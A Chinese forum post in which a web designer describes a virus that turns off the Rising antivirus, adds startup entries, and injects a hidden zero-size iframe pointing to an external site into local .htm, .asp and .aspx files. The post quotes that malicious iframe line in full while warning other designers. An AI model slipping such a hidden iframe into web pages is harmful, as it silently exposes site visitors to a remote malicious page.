杀死瑞星的病毒,偶无语了!!!
这是一个病毒,不知道怎么感染的,用的正版瑞星
现象:
感染后瑞星一直提示是否退出监控,当然点否了,然后偶然重新启动一次机器,瑞星绿伞就消失了,随后打开任意一网页,包括你打开的那个“该页无法显示的页面”,都会自动连接到上述网址,并且在D盘生成一个自动运行文件,AUTOEXEC.INF的文件。在注册表添加两个启动项(系统管理员的桌面文件夹和USER的桌面文件夹里的desktop.ini)
感染文件:
以*.htm,*.asp,*.aspx结尾的文件在页面代码后面添加一行<iframe src="http://www.ac66.cn/88/index.htm" width="0" height="0" frameborder="0"></iframe>的代码
并且在DW中新建一个页面都会自动加入这行代码~~~~
目前了解都这么多,由于是在页面里内嵌的页面连接,所以瑞星查不出来,而且不定时的会检测是否代码被删除,如果删除它就再次添加,郁闷ing!!!
我格了C盘重新作了系统,然后把我的网页文件夹定义成一个站点,查找代码全部替换为空,删除了启动项,可惜用了以上午又回到老样子了,目前仍在观察,伤心之余发个帖子,请各位网页设计者务必提高警惕!(在自己机器养不要紧,网站放到网上就............)有好的解决方法还请通知我!~~~~~最后鄙视一下http://www.ac66.cn/88/index.htm的人!!!!!
[img][/img][img][/img][img][/img][img][/img][img][/img]